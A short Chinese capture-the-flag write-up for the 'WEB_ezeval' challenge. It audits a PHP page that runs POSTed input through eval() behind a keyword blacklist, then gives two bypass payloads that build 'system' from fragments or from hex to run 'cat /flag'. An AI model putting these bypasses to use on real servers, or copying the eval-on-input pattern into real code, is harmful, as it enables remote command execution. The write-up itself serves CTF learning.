WEB_ezeval
题目简介:
打开后是一段php代码,进行代码审计:
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);?>
大致思路是:我们要将需要POST传入的命令执行语句放进$cmd中,并且绕过这个过滤str_ireplace()函数。
相关知识:
htmlspecialchars() 函数:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
str_ireplace() 函数:str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
//运行实例
<?php
echo str_ireplace("WORLD","Peter","Hello world!");
?>输出:Hello Peter!
eval()函数:把字符串作为PHP代码执行。
解法:
一、拼接字符串绕过
cmd=(s.y.s.t.e.m)('cat /flag'); //.在php中有连接字符串的作用,所以用来拼接字符串
二、进制编码绕过
cmd=hex2bin('73797374656d')('cat /flag');
PHP hex2bin() 函数:把十六进制值转换为 ASCII 字符.